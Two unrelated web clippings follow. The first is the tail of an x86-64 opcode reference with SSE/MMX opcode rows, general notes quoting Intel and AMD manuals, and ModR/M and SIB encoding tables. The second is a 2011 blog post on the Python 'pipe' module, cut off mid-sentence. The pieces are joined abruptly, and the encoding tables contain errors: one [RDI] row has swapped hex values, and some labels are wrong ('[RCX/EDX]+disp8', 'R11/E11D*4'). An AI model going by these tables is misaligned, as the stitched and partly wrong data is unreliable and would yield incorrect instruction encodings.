| 0F| F7| | | r| | D31 | | | | MASKMOVQ| ** _BDq_**| **Pq**|  Nq| | sse1| cachect| | | | | | | | Store Selected Bytes of Quadword  
66| 0F| F7| | | r| | | | | | MASKMOVDQU| ** _BDdq_**|  Vdq| Udq| | sse2| cachect| | | | | | | | Store Selected Bytes of Double Quadword  
| 0F| F8| | | r| | | | | | PSUBB| **Pq**|  Qq| | | mmx| arith| | | | | | | | Subtract Packed Integers  
66| 0F| F8| | | r| | | | | | PSUBB| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Integers  
| 0F| F9| | | r| | | | | | PSUBW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Subtract Packed Integers  
66| 0F| F9| | | r| | | | | | PSUBW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Integers  
| 0F| FA| | | r| | | | | | PSUBD| **Pq**|  Qq| | | mmx| arith| | | | | | | | Subtract Packed Integers  
66| 0F| FA| | | r| | | | | | PSUBD| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Integers  
| 0F| FB| | | r| | | | | | PSUBQ| **Pq**|  Qq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Quadword Integers  
66| 0F| FB| | | r| | | | | | PSUBQ| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Subtract Packed Quadword Integers  
| 0F| FC| | | r| | | | | | PADDB| **Pq**|  Qq| | | mmx| arith| | | | | | | | Add Packed Integers  
66| 0F| FC| | | r| | | | | | PADDB| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Integers  
| 0F| FD| | | r| | | | | | PADDW| **Pq**|  Qq| | | mmx| arith| | | | | | | | Add Packed Integers  
66| 0F| FD| | | r| | | | | | PADDW| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Integers  
| 0F| FE| | | r| | | | | | PADDD| **Pq**|  Qq| | | mmx| arith| | | | | | | | Add Packed Integers  
66| 0F| FE| | | r| | | | | | PADDD| **Vdq**|  Wdq| | | sse2| simdint|  arith| | | | | | | Add Packed Integers  
* * *
Printing is not enabled. You can order a printed copy in the store, or get
access to benefits, which include also printable HTML and PDF files.

* * *
### General notes:

  1. _90 NOP_
    1. 90 NOP is not really aliased to XCHG eAX, eAX instruction. This is important in 64-bit mode where the implicit zero-extension to RAX does not happen
  2. _LAHF, SAHF_
    1. Invalid on early steppings of EM64T architecture; that's why they need CPUID.80000001H:ECX.LAHF-SAHF\[bit 0\]
  3. _SAL_
    1. sandpile.org -- IA-32 architecture -- opcode groups
  4. _D6 and F1 opcodes_
    1. Intel 64 and IA-32 Architecture Software Developer's Manual Volume 3: System Programming Guide, Interrupt and Exception Handling
  5. _FSTP1_
    1. Christian Ludloff wrote: "While FSTP \(D9 /3, mod < 11b\), FSTP8 \(DF /2, mod = 11b\), and FSTP9 \(DF /3, mod = 11b\) do signal stack underflow, FSTP1 \(D9 /3, mod = 11b\) does not."
  6. _FNENI and FNDISI_
    1. INTEL 80287 PROGRAMMER'S REFERENCE MANUAL 1987, Processor Control Instructions: "The 8087 instructions FENI and FDISI perform no function in the 80287. If these opcodes are detected in an 80286/80287 instruction stream, the 80287 will perform no specific operation and no internal states will be affected."
  7. _FNSETPM_
    1. INTEL 80387 PROGRAMMER'S REFERENCE MANUAL 1987, 6.1.2 Independent of CPU Addressing Modes: "Unlike the 80287, the 80387 is not sensitive to the addressing and memory management of the CPU. The 80387 operates the same regardless of whether the 80386 CPU is operating in real-address mode, in protected mode, or in virtual 8086 mode."
  8. _FFREEP_
    1. INTEL 80287 PROGRAMMER'S REFERENCE MANUAL 1987, Table A-2. Machine Instruction Decoding Guide: "If the 80287 encounters one of these encodings \(DF /1, mod = 11b\) in the instruction stream, it will execute it as follows: FFREE ST\(i\) and pop stack"
    2. Intel Architecture Optimization Reference Manual PIII, Table C-1 Pentium II and Pentium III Processors Instruction to Decoder Specification
    3. AMD Athlon Processor x86 Code Optimization Guide, Chapter 9, Use FFREEP Macro to Pop One Register from the FPU Stack
    4. sandpile.org -- IA-32 architecture -- ESC \(FP\) opcodes
  9. _X87 aliases_
    1. sandpile.org -- IA-32 architecture -- ESC \(FP\) opcodes
  10. _INT1, ICEBP_
    1. sandpile.org -- IA-32 architecture -- one byte opcodes
    2. AMD64 Architecture Programmer's Manual Volume 3, Table One-Bytes Opcodes
    3. Christian Ludloff wrote: "Unlike INT 1 \(CDh,01h\), INT1 \(F1h\) doesn't perform the IOPL or DPL check and it can't be redirected via the TSS32.IRB."
  11. _REP prefixes_
    1. Flags aren't updated until after the last iteration to make the operation faster
  12. _TEST_
    1. sandpile.org -- IA-32 architecture -- opcode groups
    2. Christian Ludloff wrote: "While the latest Intel manuals still omit this de-facto standard, the recent x86-64 manuals from AMD document it."
    3. AMD64 Architecture Programmer's Manual Volume 3, Table One-Byte and Two-Byte Opcode ModRM Extensions
  13. _CALLF, JMPF_
    1. AMD64 Architecture Programmer's Manual Volume 3: "If the operand-size is 32 or 64 bits, the operand is a 16-bit selector followed by a 32-bit offset." \(On AMD64 architecture, 64-bit offset is not supported\)
  14. _SMSW r32/64_
    1. Some processors support reading whole CR0 register, causing a security flaw.
  15. _SYSCALL_
    1. On AMD64 architecture, SYSCALL is valid also in legacy mode
  16. _0F0D NOP_
    1. Intel 64 and IA-32 Architecture Software Developer's Manual Volume 2B: Instruction Set Reference, N-Z, Two-byte Opcode Map
    2. AMD architecture maps 3DNow\! PREFETCH instructions here
  17. _Hintable NOP_
    1. See U.S. Patent 5,701,442
    2. sandpile.org -- IA-32 architecture -- opcode groups
  18. _MOV from/to CRn, DRn, TRn_
    1. Christian Ludloff wrote: "For the MOVs from/to CRx/DRx/TRx, mod=00b/01b/10b is aliased to 11b."
    2. AMD64 Architecture Programmer's Manual Volume 3, System Instruction Reference: "This instruction is always treated as a register-to-register instruction, regardless of the encoding of the MOD field in the MODR/M byte."
  19. _SYSENTER_
    1. On AMD64 architecture, SYSENTER is valid only in legacy mode.
  20. _SYSEXIT_
    1. On AMD64 architecture, SYSEXIT is not valid in long mode.
  21. _GETSEC Leaf Functions_
    1. Intel 64 and IA-32 Architecture Software Developer's Manual Volume 2B: Instruction Set Reference, N-Z: "The GETSEC instruction supports multiple leaf functions. Leaf functions are selected by the value in EAX at the time GETSEC is executed." The following leaf functions are available: CAPABILITIES, ENTERACCS, EXITAC, SENTER, SEXIT, PARAMETERS, SMCTRL, WAKEUP. GETSEC instruction operands are specific to selected leaf function.
  22. _MOVQ_
    1. On AMD64 architecture, only MOVD mnemonic is used.
  23. _CMOVcc_
    1. The destination register operand is zero-extended to 64 bits even if the condition is not satisfied.
  24. _SETcc_
    1. AMD64 Architecture Programmers Manual Volume 3: General-Purpose and System Instructions: "The reg field in the ModR/M byte is unused."
  25. _CMPXCHG with memory operand_
    1. Intel 64 and IA-32 Architectures Software Developer's Manual Volume 2A: Instruction Set Reference, A-M: "This instruction can be used with a LOCK prefix …. To simplify the interface to the processor's bus, the destination operand receives a write cycle without regard to the result of the comparison."
    2. AMD64 Architecture Programmers Manual Volume 3: General-Purpose and System Instructions: "CMPXCHG always does a read-modify-write on the memory operand."
  26. _LFS, LGS, LSS_
    1. AMD64 Architecture Programmers Manual Volume 3: General-Purpose and System Instructions: "Executing LFS, LGS, or LSS with a 64-bit operand size only loads a 32-bit general purpose register and the specified segment register." \(On AMD64 architecture, 64-bit offset is not supported\)
  27. _0FB9 UD_
    1. Intel 64 and IA-32 Architecture Software Developer's Manual Volume 2B: Instruction Set Reference, N-Z, Two-byte Opcode Map
    2. sandpile.org -- IA-32 architecture -- two byte opcodes
  28. _BSF, BSR_
    1. On AMD64 architecture, BSF and BSR instructions act differently if the content of the source operand is 0
  29. _CMPXCHG8B, CMPXCHG16B_
    1. Intel 64 and IA-32 Architectures Software Developer's Manual Volume 2A: Instruction Set Reference, A-M: "This instruction can be used with a LOCK prefix …. To simplify the interface to the processor's bus, the destination operand receives a write cycle without regard to the result of the comparison."
    2. AMD64 Architecture Programmers Manual Volume 3: General-Purpose and System Instructions: "The CMPXCHG8B and CMPXCHG16B instructions always do a read-modify-write on the memory operand."
    3. CMPXCHG16B is invalid on early steppings of AMD64 architecture.
  30. _BSWAP r16_
    1. Intel 64 and IA-32 Architectures Software Developer's Manual Volume 2A: Instruction Set Reference, A-M: "When the BSWAP instruction references a 16-bit register, the result is undefined."
    2. AMD64 Architecture Programmer's Manual Volume 3: General-Purpose and System Instructions: "The result of applying the BSWAP instruction to a 16-bit register is undefined."
  31. _MASKMOVQ_
    1. Intel 64 and IA-32 Architectures Software Developer's Manual Volume 2A: Instruction Set Reference, A-M: "This instruction causes a transition from x87 FPU to MMX technology state."
  32. _Short and near jumps_
    1. Use of operand-size prefix in 64-bit mode may result in implementation-dependent behaviour; on AMD64 architecture, this prefix acts as expected
  33. _Intel VMX_
    1. Intel VMX is not binary-compatible with AMD SVM
  34. _Intel SSE4_
    1. AMD64 architecture does not support SSE4 instructions but PTEST as part of SSE5

### Notes for the Ring Level, used in case of _f_ mark:

  1. rFlags.IOPL
  2. CR4.TSD\[bit 2\]
  3. CR4.PCE\[bit 8\]

* * *
Create a hypertext reference to this edition's opcode \(append hexadecimal
opcode at the end of the following line\):

http://ref.x86asm.net/geek64.html\#x

* * *
32/64-bit ModR/M Byte

| | REX.R=1  
---|---|---  
r8\(/r\) _without REX prefix_ | AL| CL| DL| BL| AH| CH| DH| BH| | | | | | | |   
r8\(/r\) _with any REX prefix_ | AL| CL| DL| BL| SPL| BPL| SIL| DIL| R8B| R9B| R10B| R11B| R12B| R13B| R14B| R15B  
r16\(/r\)| AX| CX| DX| BX| SP| BP| SI| DI| R8W| R9W| R10W| R11W| R12W| R13W|
R14W| R15W  
r32\(/r\)| EAX| ECX| EDX| EBX| ESP| EBP| ESI| EDI| R8D| R9D| R10D| R11D| R12D|
R13D| R14D| R15D  
r64\(/r\)| RAX| RCX| RDX| RBX| RSP| RBP| RSI| RDI| R8| R9| R10| R11| R12| R13|
R14| R15  
mm\(/r\)| MM0| MM1| MM2| MM3| MM4| MM5| MM6| MM7| MM0| MM1| MM2| MM3| MM4|
MM5| MM6| MM7  
xmm\(/r\)| XMM0| XMM1| XMM2| XMM3| XMM4| XMM5| XMM6| XMM7| XMM8| XMM9| XMM10|
XMM11| XMM12| XMM13| XMM14| XMM15  
sreg| ES| CS| SS| DS| FS| GS| res.| res.| ES| CS| SS| DS| FS| GS| res.| res.  
eee| CR0| invd| CR2| CR3| CR4| invd| invd| invd| CR8| invd| invd| invd| invd|
invd| invd| invd  
eee| DR0| DR1| DR2| DR3| DR41 | DR51 | DR6| DR7| invd| invd| invd| invd| invd| invd| invd| invd  
\(In decimal\) /digit \(Opcode\)| 0| 1| 2| 3| 4| 5| 6| 7| 0| 1| 2| 3| 4| 5| 6|
7  
\(In binary\) REG =| 000| 001| 010| 011| 100| 101| 110| 111| 000| 001| 010|
011| 100| 101| 110| 111  
Effective Address| Effective Address REX.B=1| Mod| R/M| Value of ModR/M Byte
\(in Hex\)| Value of ModR/M Byte \(in Hex\)  
\[RAX/EAX\]| \[R8/R8D\]| 00| 000| 00| 08| 10| 18| 20| 28| 30| 38| 00| 08| 10|
18| 20| 28| 30| 38  
\[RCX/ECX\]| \[R9/R9D\]| | 001| 01| 09| 11| 19| 21| 29| 31| 39| 01| 09| 11| 19| 21| 29| 31| 39  
\[RDX/EDX\]| \[R10/R10D\]| | 010| 02| 0A| 12| 1A| 22| 2A| 32| 3A| 02| 0A| 12| 1A| 22| 2A| 32| 3A  
\[RBX/EBX\]| \[R11/R11D\]| | 011| 03| 0B| 13| 1B| 23| 2B| 33| 3B| 03| 0B| 13| 1B| 23| 2B| 33| 3B  
\[_sib_\]| \[_sib_\]| | 100| 04| 0C| 14| 1C| 24| 2C| 34| 3C| 04| 0C| 14| 1C| 24| 2C| 34| 3C  
\[RIP/EIP\]+disp32| \[RIP/EIP\]+disp32| | 101| 05| 0D| 15| 1D| 25| 2D| 35| 3D| 05| 0D| 15| 1D| 25| 2D| 35| 3D  
\[RSI/ESI\]| \[R14/R14D\]| | 110| 06| 0E| 16| 1E| 26| 2E| 36| 3E| 06| 0E| 16| 1E| 26| 2E| 36| 3E  
\[RDI/EDI\]| \[R15/R15D\]| | 111| 07| 0F| 17| 1F| 27| 2F| 37| 3F| 0F| 07| 17| 1F| 27| 2F| 37| 3F  
\[RAX/EAX\]+disp8| \[R8/R8D\]+disp8| 01| 000| 40| 48| 50| 58| 60| 68| 70| 78|
40| 48| 50| 58| 60| 68| 70| 78  
\[RCX/EDX\]+disp8| \[R9/R9D\]+disp8| | 001| 41| 49| 51| 59| 61| 69| 71| 79| 41| 49| 51| 59| 61| 69| 71| 79  
\[RDX/EDX\]+disp8| \[R10/R10D\]+disp8| | 010| 42| 4A| 52| 5A| 62| 6A| 72| 7A| 42| 4A| 52| 5A| 62| 6A| 72| 7A  
\[RBX/EBX\]+disp8| \[R11/R11D\]+disp8| | 011| 43| 4B| 53| 5B| 63| 6B| 73| 7B| 43| 4B| 53| 5B| 63| 6B| 73| 7B  
\[_sib_\]+disp8| \[_sib_\]+disp8| | 100| 44| 4C| 54| 5C| 64| 6C| 74| 7C| 44| 4C| 54| 5C| 64| 6C| 74| 7C  
\[RBP/EBP\]+disp8| \[R13/R13D\]+disp8| | 101| 45| 4D| 55| 5D| 65| 6D| 75| 7D| 45| 4D| 55| 5D| 65| 6D| 75| 7D  
\[RSI/ESI\]+disp8| \[R14/R14D\]+disp8| | 110| 46| 4E| 56| 5E| 66| 6E| 76| 7E| 46| 4E| 56| 5E| 66| 6E| 76| 7E  
\[RDI/EDI\]+disp8| \[R15/R15D\]+disp8| | 111| 47| 4F| 57| 5F| 67| 6F| 77| 7F| 47| 4F| 57| 5F| 67| 6F| 77| 7F  
\[RAX/EAX\]+disp32| \[R8/R8D\]+disp32| 10| 000| 80| 88| 90| 98| A0| A8| B0|
B8| 80| 88| 90| 98| A0| A8| B0| B8  
\[RCX/ECX\]+disp32| \[R9/R9D\]+disp32| | 001| 81| 89| 91| 99| A1| A9| B1| B9| 81| 89| 91| 99| A1| A9| B1| B9  
\[RDX/EDX\]+disp32| \[R10/R10D\]+disp32| | 010| 82| 8A| 92| 9A| A2| AA| B2| BA| 82| 8A| 92| 9A| A2| AA| B2| BA  
\[RBX/EBX\]+disp32| \[R11/R11D\]+disp32| | 011| 83| 8B| 93| 9B| A3| AB| B3| BB| 83| 8B| 93| 9B| A3| AB| B3| BB  
\[_sib_\]+disp32| \[_sib_\]+disp32| | 100| 84| 8C| 94| 9C| A4| AC| B4| BC| 84| 8C| 94| 9C| A4| AC| B4| BC  
\[RBP/EBP\]+disp32| \[R13/R13D\]+disp32| | 101| 85| 8D| 95| 9D| A5| AD| B5| BD| 85| 8D| 95| 9D| A5| AD| B5| BD  
\[RSI/ESI\]+disp32| \[R14/R14D\]+disp32| | 110| 86| 8E| 96| 9E| A6| AE| B6| BE| 86| 8E| 96| 9E| A6| AE| B6| BE  
\[RDI/EDI\]+disp32| \[R15/R15D\]+disp32| | 111| 87| 8F| 97| 9F| A7| AF| B7| BF| 87| 8F| 97| 9F| A7| AF| B7| BF  
AL/AX/EAX/RAX/ST0/MM0/XMM0| R8B/R8W/R8D/R8/ST0/MM0/XMM8| 11| 000| C0| C8| D0|
D8| E0| E8| F0| F8| C0| C8| D0| D8| E0| E8| F0| F8  
CL/CX/ECX/RCX/ST1/MM1/XMM1| R9B/R9W/R9D/R9/ST1/MM1/XMM9| | 001| C1| C9| D1| D9| E1| E9| F1| F9| C1| C9| D1| D9| E1| E9| F1| F9  
DL/DX/EDX/RDX/ST2/MM2/XMM2| R10B/R10W/R10D/R10/ST2/MM2/XMM10| | 010| C2| CA| D2| DA| E2| EA| F2| FA| C2| CA| D2| DA| E2| EA| F2| FA  
BL/BX/EBX/RBX/ST3/MM3/XMM3| R11B/R11W/R11D/R11/ST3/MM3/XMM11| | 011| C3| CB| D3| DB| E3| EB| F3| FB| C3| CB| D3| DB| E3| EB| F3| FB  
AH/SP/ESP/RSP/ST4/MM4/XMM4| R12B/R12W/R12D/R12/ST4/MM4/XMM12| | 100| C4| CC| D4| DC| E4| EC| F4| FC| C4| CC| D4| DC| E4| EC| F4| FC  
CH/BP/EBP/RBP/ST5/MM5/XMM5| R13B/R13W/R13D/R13/ST5/MM5/XMM13| | 101| C5| CD| D5| DD| E5| ED| F5| FD| C5| CD| D5| DD| E5| ED| F5| FD  
DH/SI/ESI/RSI/ST6/MM6/XMM6| R14B/R14W/R14D/R14/ST6/MM6/XMM14| | 110| C6| CE| D6| DE| E6| EE| F6| FE| C6| CE| D6| DE| E6| EE| F6| FE  
BH/DI/EDI/RDI/ST7/MM7/XMM7| R15B/R15W/R15D/R15/ST7/MM7/XMM15| | 111| C7| CF| D7| DF| E7| EF| F7| FF| C7| CF| D7| DF| E7| EF| F7| FF  
32/64-bit SIB Byte

| | REX.B=1  
---|---|---  
r64| RAX| RCX| RDX| RBX| RSP| →1 | RSI| RDI| R8| R9| R10| R11| R12| →2 | R14| R15  
r32| EAX| ECX| EDX| EBX| ESP| →1 | ESI| EDI| R8D| R9D| R10D| R11D| R12D| →2 | R14D| R15D  
\(In decimal\) Base =| 0| 1| 2| 3| 4| 5| 6| 7| 0| 1| 2| 3| 4| 5| 6| 7  
\(In binary\) Base =| 000| 001| 010| 011| 100| 101| 110| 111| 000| 001| 010|
011| 100| 101| 110| 111  
Scaled Index| Scaled Index  
REX.X=1| SS| Index| Value of SIB Byte \(in Hex\)| Value of SIB Byte \(in Hex\)  
\[RAX/EAX\]| \[R8/R8D\]| 00| 000| 00| 01| 02| 03| 04| 05| 06| 07| 00| 01| 02|
03| 04| 05| 06| 07  
\[RCX/ECX\]| \[R9/R9D\]| | 001| 08| 09| 0A| 0B| 0C| 0D| 0E| 0F| 08| 09| 0A| 0B| 0C| 0D| 0E| 0F  
\[RDX/EDX\]| \[R10/R10D\]| | 010| 10| 11| 12| 13| 14| 15| 16| 17| 10| 11| 12| 13| 14| 15| 16| 17  
\[RBX/EBX\]| \[R11/R11D\]| | 011| 18| 19| 1A| 1B| 1C| 1D| 1E| 1F| 18| 19| 1A| 1B| 1C| 1D| 1E| 1F  
 _none_| \[R12/R12D\]| | 100| 20| 21| 22| 23| 24| 25| 26| 27| 20| 21| 22| 23| 24| 25| 26| 27  
\[RBP/EBP\]| \[R13/R13D\]| | 101| 28| 29| 2A| 2B| 2C| 2D| 2E| 2F| 28| 29| 2A| 2B| 2C| 2D| 2E| 2F  
\[RSI/ESI\]| \[R14/R14D\]| | 110| 30| 31| 32| 33| 34| 35| 36| 37| 30| 31| 32| 33| 34| 35| 36| 37  
\[RDI/EDI\]| \[R15/R15D\]| | 111| 38| 39| 3A| 3B| 3C| 3D| 3E| 3F| 38| 39| 3A| 3B| 3C| 3D| 3E| 3F  
\[RAX/EAX\*2\]| \[R8/R8D\*2\]| 01| 000| 40| 41| 42| 43| 44| 45| 46| 47| 40|
41| 42| 43| 44| 45| 46| 47  
\[RCX/ECX\*2\]| \[R9/R9D\*2\]| | 001| 48| 49| 4A| 4B| 4C| 4D| 4E| 4F| 48| 49| 4A| 4B| 4C| 4D| 4E| 4F  
\[RDX/EDX\*2\]| \[R10/R10D\*2\]| | 010| 50| 51| 52| 53| 54| 55| 56| 57| 50| 51| 52| 53| 54| 55| 56| 57  
\[RBX/EBX\*2\]| \[R11/R11D\*2\]| | 011| 58| 59| 5A| 5B| 5C| 5D| 5E| 5F| 58| 59| 5A| 5B| 5C| 5D| 5E| 5F  
 _none_| \[R12/R12D\*2\]| | 100| 60| 61| 62| 63| 64| 65| 66| 67| 60| 61| 62| 63| 64| 65| 66| 67  
\[RBP/EBP\*2\]| \[R13/R13\*2\]| | 101| 68| 69| 6A| 6B| 6C| 6D| 6E| 6F| 68| 69| 6A| 6B| 6C| 6D| 6E| 6F  
\[RSI/ESI\*2\]| \[R14/R14D\*2\]| | 110| 70| 71| 72| 73| 74| 75| 76| 77| 70| 71| 72| 73| 74| 75| 76| 77  
\[RDI/EDI\*2\]| \[R15/R15D\*2\]| | 111| 78| 79| 7A| 7B| 7C| 7D| 7E| 7F| 78| 79| 7A| 7B| 7C| 7D| 7E| 7F  
\[RAX/EAX\*4\]| \[R8/R8D\*4\]| 10| 000| 80| 81| 82| 83| 84| 85| 86| 87| 80|
81| 82| 83| 84| 85| 86| 87  
\[RCX/ECX\*4\]| \[R9/R9D\*4\]| | 001| 88| 89| 8A| 8B| 8C| 8D| 8E| 8F| 88| 89| 8A| 8B| 8C| 8D| 8E| 8F  
\[RDX/EDX\*4\]| \[R10/R10D\*4\]| | 010| 90| 91| 92| 93| 94| 95| 96| 97| 90| 91| 92| 93| 94| 95| 96| 97  
\[RBX/EBX\*4\]| \[R11/E11D\*4\]| | 011| 98| 99| 9A| 9B| 9C| 9D| 9E| 9F| 98| 99| 9A| 9B| 9C| 9D| 9E| 9F  
 _none_| \[R12/R12D\*4\]| | 100| A0| A1| A2| A3| A4| A5| A6| A7| A0| A1| A2| A3| A4| A5| A6| A7  
\[RBP/EBP\*4\]| \[R13/R13D\*4\]| | 101| A8| A9| AA| AB| AC| AD| AE| AF| A8| A9| AA| AB| AC| AD| AE| AF  
\[RSI/ESI\*4\]| \[R14/R14D\*4\]| | 110| B0| B1| B2| B3| B4| B5| B6| B7| B0| B1| B2| B3| B4| B5| B6| B7  
\[RDI/EDI\*4\]| \[R15/R15D\*4\]| | 111| B8| B9| BA| BB| BC| BD| BE| BF| B8| B9| BA| BB| BC| BD| BE| BF  
\[RAX/EAX\*8\]| \[R8/R8D\*8\]| 11| 000| C0| C1| C2| C3| C4| C5| C6| C7| C0|
C1| C2| C3| C4| C5| C6| C7  
\[RCX/ECX\*8\]| \[R9/R9D\*8\]| | 001| C8| C9| CA| CB| CC| CD| CE| CF| C8| C9| CA| CB| CC| CD| CE| CF  
\[RDX/EDX\*8\]| \[R10/R10D\*8\]| | 010| D0| D1| D2| D3| D4| D5| D6| D7| D0| D1| D2| D3| D4| D5| D6| D7  
\[RBX/EBX\*8\]| \[R11/R11D\*8\]| | 011| D8| D9| DA| DB| DC| DD| DE| DF| D8| D9| DA| DB| DC| DD| DE| DF  
 _none_| \[R12/R12D\*8\]| | 100| E0| E1| E2| E3| E4| E5| E6| E7| E0| E1| E2| E3| E4| E5| E6| E7  
\[RBP/EBP\*8\]| \[R13/R13D\*8\]| | 101| E8| E9| EA| EB| EC| ED| EE| EF| E8| E9| EA| EB| EC| ED| EE| EF  
\[RSI/ESI\*8\]| \[R14/R14D\*8\]| | 110| F0| F1| F2| F3| F4| F5| F6| F7| F0| F1| F2| F3| F4| F5| F6| F7  
\[RDI/EDI\*8\]| \[R15/R15D\*8\]| | 111| F8| F9| FA| FB| FC| FD| FE| FF| F8| F9| FA| FB| FC| FD| FE| FF  
SIB Note 1Mod bits| base  
---|---  
00| disp32  
01| RBP/EBP+disp8  
10| RBP/EBP+disp32  
SIB Note 2Mod bits| base  
---|---  
00| disp32  
01| R13/R13D+disp8  
10| R13/R13D+disp32  
16-bit ModR/M Byte

r8\(/r\)| AL| CL| DL| BL| AH| CH| DH| BH  
---|---|---|---|---|---|---|---|---  
r16\(/r\)| AX| CX| DX| BX| SP| BP| SI| DI  
r32\(/r\)| EAX| ECX| EDX| EBX| ESP| EBP| ESI| EDI  
mm\(/r\)| MM0| MM1| MM2| MM3| MM4| MM5| MM6| MM7  
xmm\(/r\)| XMM0| XMM1| XMM2| XMM3| XMM4| XMM5| XMM6| XMM7  
sreg| ES| CS| SS| DS| FS| GS| res.| res.  
eee| CR0| invd| CR2| CR3| CR4| invd| invd| invd  
eee| DR0| DR1| DR2| DR3| DR41 | DR51 | DR6| DR7  
\(In decimal\) /digit \(Opcode\)| 0| 1| 2| 3| 4| 5| 6| 7  
\(In binary\) REG =| 000| 001| 010| 011| 100| 101| 110| 111  
Effective Address| Mod| R/M| Value of ModR/M Byte \(in Hex\)  
\[BX+SI\]| 00| 000| 00| 08| 10| 18| 20| 28| 30| 38  
\[BX+DI\]| | 001| 01| 09| 11| 19| 21| 29| 31| 39  
\[BP+SI\]| | 010| 02| 0A| 12| 1A| 22| 2A| 32| 3A  
\[BP+DI\]| | 011| 03| 0B| 13| 1B| 23| 2B| 33| 3B  
\[SI\]| | 100| 04| 0C| 14| 1C| 24| 2C| 34| 3C  
\[DI\]| | 101| 05| 0D| 15| 1D| 25| 2D| 35| 3D  
disp16| | 110| 06| 0E| 16| 1E| 26| 2E| 36| 3E  
\[BX\]| | 111| 07| 0F| 17| 1F| 27| 2F| 37| 3F  
\[BX+SI\]+disp8| 01| 000| 40| 48| 50| 58| 60| 68| 70| 78  
\[BX+DI\]+disp8| | 001| 41| 49| 51| 59| 61| 69| 71| 79  
\[BP+SI\]+disp8| | 010| 42| 4A| 52| 5A| 62| 6A| 72| 7A  
\[BP+DI\]+disp8| | 011| 43| 4B| 53| 5B| 63| 6B| 73| 7B  
\[SI\]+disp8| | 100| 44| 4C| 54| 5C| 64| 6C| 74| 7C  
\[DI\]+disp8| | 101| 45| 4D| 55| 5D| 65| 6D| 75| 7D  
\[BP\]+disp8| | 110| 46| 4E| 56| 5E| 66| 6E| 76| 7E  
\[BX\]+disp8| | 111| 47| 4F| 57| 5F| 67| 6F| 77| 7F  
\[BX+SI\]+disp16| 10| 000| 80| 88| 90| 98| A0| A8| B0| B8  
\[BX+DI\]+disp16| | 001| 81| 89| 91| 99| A1| A9| B1| B9  
\[BP+SI\]+disp16| | 010| 82| 8A| 92| 9A| A2| AA| B2| BA  
\[BP+DI\]+disp16| | 011| 83| 8B| 93| 9B| A3| AB| B3| BB  
\[SI\]+disp16| | 100| 84| 8C| 94| 9C| A4| AC| B4| BC  
\[DI\]+disp16| | 101| 85| 8D| 95| 9D| A5| AD| B5| BD  
\[BP\]+disp16| | 110| 86| 8E| 96| 9E| A6| AE| B6| BE  
\[BX\]+disp16| | 111| 87| 8F| 97| 9F| A7| AF| B7| BF  
AL/AX/EAX/ST0/MM0/XMM0| 11| 000| C0| C8| D0| D8| E0| E8| F0| F8  
CL/CX/ECX/ST1/MM1/XMM1| | 001| C1| C9| D1| D9| E1| E9| F1| F9  
DL/DX/EDX/ST2/MM2/XMM2| | 010| C2| CA| D2| DA| E2| EA| F2| FA  
BL/BX/EBX/ST3/MM3/XMM3| | 011| C3| CB| D3| DB| E3| EB| F3| FB  
AH/SP/ESP/ST4/MM4/XMM4| | 100| C4| CC| D4| DC| E4| EC| F4| FC  
CH/BP/EBP/ST5/MM5/XMM5| | 101| C5| CD| D5| DD| E5| ED| F5| FD  
DH/SI/ESI/ST6/MM6/XMM6| | 110| C6| CE| D6| DE| E6| EE| F6| FE  
BH/DI/EDI/ST7/MM7/XMM7| | 111| C7| CF| D7| DF| E7| EF| F7| FF  
ModR/M Note 1: Debug Registers DR4 and DR5

References to debug registers DR4 and DR5 cause an undefined opcode \(\#UD\)
exception to be generated when CR4.DE\[bit 3\] \(Debugging Extensions\) set;
when clear, processor aliases references to registers DR4 and DR5 to DR6 and
DR7 for compatibility with software written to run on earlier IA-32
processors.

# Pipe: Infix syntax for Python | \{Dev Tricks\}
**Created:**| _3/30/2011 5:59:14 AM_  
---|---  
**Updated:**| _3/30/2011 5:59:20 AM_  
**Author:**| __  
**Tags:**| _python programming awesome_  
  

# Pipe: Infix syntax for Python

Posted on March 28, 2011 by Julien Palard

Pipe is a Python module enabling infix syntax in Python.  
For those asking “Why ?” let’s take an example :

Compare the readability of the classical prefix syntax :

[code]

    sum(select(where(take_while(fib(), lambda x: x < 1000000) lambda x: x % 2), lambda x: x * x))
    
[/code]

And the infix syntax :

[code]

    fib() | take_while(lambda x: x < 1000000)
          | where(lambda x: x % 2)
          | select(lambda x: x * x)
          | sum()
    
[/code]

Isn’t the infix syntax more readable ?

The base class of Pipe is kept simple \(7 lines of python\) and is usable as a
decorator permitting you to create new ‘pipeable’ functions easily. The module
provides ~30 prepared pipes functions like ‘where’, ‘group\_by’, ‘sort’,
‘take\_while’ … A pipeable function takes an iterable \(tuple, list,
generator\) and yields to be itself an iterator, so pipeable function can be
piped together.

Let me introduce the basic usage of the Pipe module, then I’ll write some bits
on how to build new ones :

To start, get it from PyPI http://pypi.python.org/pypi/pipe/1.3 and install
it, open a REPL, import pipe, and play :

[code]

    Python 2.6.6 (r266:84292, Dec 26 2010, 22:31:48) 
    [GCC 4.4.5] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> from pipe import *
    >>> [1, 2, 3, 4, 5] | add
    15
    >>> [5, 4, 3, 2, 1] | sort
    [1, 2, 3, 4, 5]
    
[/code]

Until here it’s easy, to know more about available pipes, just read the
help\(pipe\) in the REPL, all are explained with an example as a doctest

Now as we know that pipeable functions use iterables, we can try to pipe
together two or more pipeables :

[code]

    >>> [1, 2, 3, 4, 5] | where(lambda x: x % 2) | concat
    '1, 3, 5'
    >>> [1, 2, 3, 4, 5] | where(lambda x: x % 2) | tail(2) | concat
    '3, 5'
    >>> [1, 2, 3, 4, 5] | where(lambda x: x % 2) | tail(2) | select(lambda x: x * x) | concat
    '9, 25'
    >>> [1, 2, 3, 4, 5] | where(lambda x: x % 2) | tail(2) | select(lambda x: x * x) | add
    34
    
[/code]

Now, a bit about lazyness, as Pipe use iterables, the evaluation of a whole
Pipe is lazy, so we can play with infinite generators like this one :

[code]

    >>> def fib():
    ...     x = 1
    ...     yield 1
    ...     y = 1
    ...     yield 1
    ...     while True:
    ...         x = x + y
    ...         yield x
    ...         y = x + y
    ...         yield y
    
[/code]

Now we can do every kind of stuff into the fibonacci sequence, like solving
